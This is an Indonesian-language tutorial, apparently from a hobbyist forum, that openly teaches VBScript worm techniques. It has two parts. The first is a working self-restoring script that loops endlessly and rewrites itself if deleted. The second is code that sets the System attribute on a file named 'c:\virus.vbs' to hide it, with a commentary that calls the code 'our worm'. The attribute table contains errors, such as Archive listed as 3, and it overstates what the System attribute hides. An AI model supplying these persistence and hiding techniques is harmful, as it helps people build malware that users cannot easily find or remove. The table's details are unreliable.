anti deletion script vb

[[[[[[[::::: 1 :::::]]]]]]] ANTIDELETION

 

CATATAN: Agar script ini bisa berjalan, letakan di baris akhir.

Gini neeh scriptnya:

 

 ------------------------------------------------start
 dim fso, myself,mytext
 set fso = createobject("scripting.filesystemobject")
 set myself = fso.opentextfile(wscript.scriptfullname)
 mytext = myself.readall
 myself.close
 do
 if fso.fileexists(wscript.scriptfullname) = false then
 set myself = fso.createtextfile(wscript.scriptfullname)
 myself.write mytext
 myself.close
 end if
 loop
 --------------------------------------------------end
 

:::::::::::::::::::: PENJELASAN ::::::::::::::::::::


 dim fso, myself,mytext
 - Mendeklarasikan Variabel


 set fso = createobject("scripting.filesystemobject")
 - Membuat file system objek

 set myself = fso.opentextfile(wscript.scriptfullname)
 - Membuat texttream objek memakai file vbs

 mytext = myself.readall
 - Meletakkan semua file vbs dalam vatiabel mytext

 myself.close
 - menutup textream

 do
 - Kerjakan!

 if fso.fileexists(wscript.scriptfullname) = false then
 - Memeriksa apakah worm kita masih ada?? Jika tidak ada maka...


 set myself = fso.createtextfile(wscript.scriptfullname)
 - Worm akan "dihidupkan" kembali


 myself.write mytext
 - Menulis semua variabel textream yang telah kita buat tadi

 myself.close
 -Tutup
 

end if
 menutup kondisi

 loop
 - Mengulangi langkah-langkah diatasnya....



 [[[[[[[::::: 2 :::::]]]]]]] ATRIBUT FILE

 

Apa pentingnya atribut file pada Visual Basic?? Penting banget bro.. Sepertinya Worm jaman sekarang sedang musim bermain-main dengan atribut file. Masih ingat dengan ulah beberapa worm yang suka "menkloning" file dokumen dengan atribut hidden?? Tuch khan. okay.. lansung ajah...

 

On Error Resume Next
 Set Fso = CreateObject("Scripting.FileSystemObject")
 Set Gf = Fso.GetFile("c:\virus.vbs")
 Gf.Attributes = (Gf.Attributes - Gf.Attributes) + 4

 

:::::::::::::::::::: PENJELASAN ::::::::::::::::::::

 

Naah.. apa lagi yang perlu dijelaskan? Pasti udah pada ngerti doong. Pada bagian akhir:

Gf.Attributes = (Gf.Attributes - Gf.Attributes) + 4

Disana kita NORMALKAN atribut file itu sendiri lalu kita tambahkan (kita berikan) atribut 4 (System). Berikut tabel atribut file beserta penjelasan singkatnya:

 
Atribut
Arti
Penjelasan

0
::: Normal
:: File normal atau tanpa atribut

1
::: Read Only
:: Hanya bisa dibaca tanpa bisa diubah. Jika kamu memodifikasi isi dari file beratribut ini, maka saat kamu melakukan save file, file asli tidak akan berubah seakan-akan kamu melakukan perintah SAVE AS..

2
::: Hidden
:: Hidden/tidak tampak kecuali kamu set show all files pada Folder Option

3
::: Archive
:: Archive...

4
::: System
:: Atribut untuk file system. Dengan atribut ini, file tidak akan tampak meskipun kamu set show all files pada Folder Option.